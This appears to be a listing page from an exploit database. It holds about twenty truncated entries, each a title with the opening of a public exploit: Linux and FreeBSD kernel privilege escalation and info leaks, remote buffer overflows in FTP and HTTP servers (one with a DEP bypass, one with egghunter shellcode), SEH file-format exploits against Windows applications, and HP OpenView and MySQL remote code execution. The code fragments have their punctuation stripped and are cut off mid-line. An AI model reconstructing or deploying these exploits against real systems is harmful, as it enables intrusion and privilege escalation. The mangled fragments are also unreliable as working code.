Linux Kernel 2.6.37-rc1 - 'serial_multiport_struct' Local Information Leak

/ Linux include include include include include define DEVICE "/dev/ttyS1" int mainint argc, char argv int ret = 0; int i, fd, reservedsize; char buf; struct serialmultiportstruct buffer; printf"\m/ Linux \n", argv0; exit-1; if argc 2 if reservedsize = atoiargv2 == 0 fprintfstderr, " - Sorry: ato...

Freefloat FTP Server - Remote Buffer Overflow (DEP Bypass)

Freefloat FTP Server - Remote Buffer Overflow DEP Bypass !/usr/bin/python import socket, sys from struct import pack print "\n===============================" print "Freefloat FTP Server DEP Bypass" print " Written by Blake " print "===============================\n" if lensys.argv != 3: print "...

Simple HTTPd 1.42 PUT Request Remote Buffer Overflow Vulnerability

Exploit for windows platform in category remote exploits !/usr/bin/env python part of femtocell research by TU-Berlin only for educational purposes Exploit Title: remote root on sfr/ubiquisys femtocell webserver wsal/shttpd/mongoose Author: nion Software: http://code.google.com/p/mongoose/...

Linux Kernel 2.6.283.0 (DEC Alpha Linux) - Local Privilege Escalation

Linux Kernel 2.6.283.0 DEC Alpha Linux - Local Privilege Escalation / DEC Alpha Linux include include include include include include include include include include define SYSosfwait4 7 define SOCKOFFSET 552 / Offset of skdestruct fptr in sock struct, change for your kernel / define PAGESIZE 819...

CVE-2011-0989

The RuntimeHelpers.InitializeArray method in metadata/icall.c in Mono, when Moonlight 2.x before 2.4.1 or 3.x before 3.99.3 is used, does not properly restrict data types, which allows remote attackers to modify internal read-only data structures, and cause a denial of service plugin crash or...

PT-2011-2797

Name of the Vulnerable Software and Affected Versions Mono versions prior to 2.4.1 Mono versions prior to 3.99.3 Description The issue allows remote attackers to modify internal read-only data structures, causing a denial of service or corrupting the internal state of the security manager, via a...

Wordtrainer 3.0 Buffer Overflow

!/usr/bin/python +Exploit Title: Wordtrainer V3.0 .ORD File Buffer Overflow Vulnerability +Date: 12\04\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.wordtrainer.net/software/files/wt307shwexe/wt307shw.exe +Version: 3.0 +Tested On: WIN-XP SP3 Brazilian Portuguese +CVE: N/A from struct impo...

Microsoft Windows XP - afd.sys Local Kernel Denial of Service

Microsoft Windows XP - afd.sys Local Kernel Denial of Service //////////////////////////////////////////////////////////////////////////// // // Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit // Author: Lufeng Li of Neusoft Corporation // Vendor: www.microsoft.com // Vulnerable:...

Linux Kenel 2.6.37-rc1 - serial_core TIOCGICOUNT Leak

Linux Kenel 2.6.37-rc1 - serialcore TIOCGICOUNT Leak / Linux include include include include include include int mainint argc, char argv int fd, ret = 0, i; struct serialicounterstruct buffer; printf" Linux = 2.6.37-rc1 serialcore TIOCGICOUNT leak exploit\n"; ifargc 2 printf" You need to supply a...

Linux Kenel 2.6.37-rc1 - serial_core TIOCGICOUNT Leak

/ Linux include include include include include include int mainint argc, char argv int fd, ret = 0, i; struct serialicounterstruct buffer; printf" Linux = 2.6.37-rc1 serialcore TIOCGICOUNT leak exploit\n"; ifargc 2 printf" You need to supply a device name e.g. /dev/ttyS0\n"; exit-1; ;...

Hanso Player 1.4.0.0 - 'Skinfile' Buffer Overflow (Denial of Service)

Exploit Title: Hanso Player 1.4.0.0 Buffer Overflow - DoS Skinfile Date: 05.02.2011 Author: Dame Jovanoskibadc0re Software Link: http://www.hansotools.com/downloads/hanso-player-setup.exe Version: 1.4.0.0 Tested on: XP sp3 from struct import import time f=open"default.ini","w"...

Linux Kernel 2.6.x - 'net/core/filter.c' Local Information Disclosure

/ source: https://www.securityfocus.com/bid/44758/info The Linux kernel is prone to a local information-disclosure vulnerability. Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks. / / You've done it. After hours of gdb and caffeine, you've...

A-PDF All To MP3 Coverter 1.1.0 Universal Exploit

!/usr/bin/python Exploit Title: A-PDF All to MP3 Converter v.1.1.0 Universal Local SEH Exploit Date: September 18, 2010 Author: modpr0be Software Link: http://www.a-pdf.com/all-to-mp3/download.htm Version: 1.1.0 Tested on: Windows XP SP3 Open application -- Next -- Add -- blah.wav -- calc will po...

HP OpenView NNM getnnmdata.exe CGI Invalid ICount Remote Code Execution

Exploit Title: HP OpenView NNM getnnmdata.exe CGI Invalid ICount Remote Code Execution Date: 2010.07.02 Author: S2 Crew Hungary Software Link: hp.com Version: 7.53 Tested on: Windows 2003 CVE: CVE-2010-1554 Code : !/usr/bin/python import struct import socket import httplib import urllib calc.exe...

FreeBSD Kernel mountnfs() Exploit

No description provided by source. / mountnfsex.c -- Patroklos Argyroudis, argp at domain census-labs.com Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2. Discovered and exploited by Patroklos argp Argyroudis. The vulnerability is in mountnfs which is reachable by the mount2 and nmount2 system...

Batch Audio Converter Lite Edition 1.0.0.0 Buffer Overflow

Exploit Title: Batch Audio Converter Lite Edition = v1.0.0.0 Stack Buffer Overflow SEH Date: 06/17/2010 Author: modpr0be Software Link: http://www.freesoftwaretoolbox.com/files/batchaudiosetup.exe Version: =1.0.0.0 0.4.0.0 tested and worked Tested on: Windows XP SP2 Type of Vuln: SEH CVE : N/A Co...

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary Command Execution

No description provided by source. / April 21.st 2006 myexploit.c MySql COMTABLEDUMP Memory Leak & MySql remote B0f MySql = 5.0.20 MySql COMTABLEDUMP Memory Leak MySql = 4.x.x copyright 2006 Stefano Di Paola stefano.dipaolaatwisec.it GPL 2.0 Disclaimer: In no event shall the author be liable for...

Linux Kernel <= 2.6.28.3 set_selection() UTF-8 Off By One Local Exploit

No description provided by source. / CVE-2009-1046 Virtual Console UTF-8 setselection off-by-onetwo Memory Corruption Linux Kernel = 2.6.28.3 coded by: sgrakkyu at antifork.org http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html Dedicated to all people talking nonsense about non...

CUPS 1.3.9 - 'cups/ipp.c' Null Pointer Dereference Denial of Service

source: https://www.securityfocus.com/bid/35169/info CUPS is prone to a denial-of-service vulnerability because of a NULL-pointer dereference that occurs when processing two consecutive IPPTAGUNSUPPORTED tags in specially crafted IPP Internet Printing Protocal packets. An attacker can exploit thi...

httpdx 0.5b - FTP Server (CWD) Remote Buffer Overflow (SEH)

!/usr/bin/python Usage : httpdxcwd.py targetip user pass Example : httpdxcwd.py 192.168.1.3 ftp 123 Stack encouraged me to exploit this bug , so thx brotha | || | / \ | | | | | | | | | - " %sys.argv0 sys.exit0 skape's egghunter shellcode shellunt=...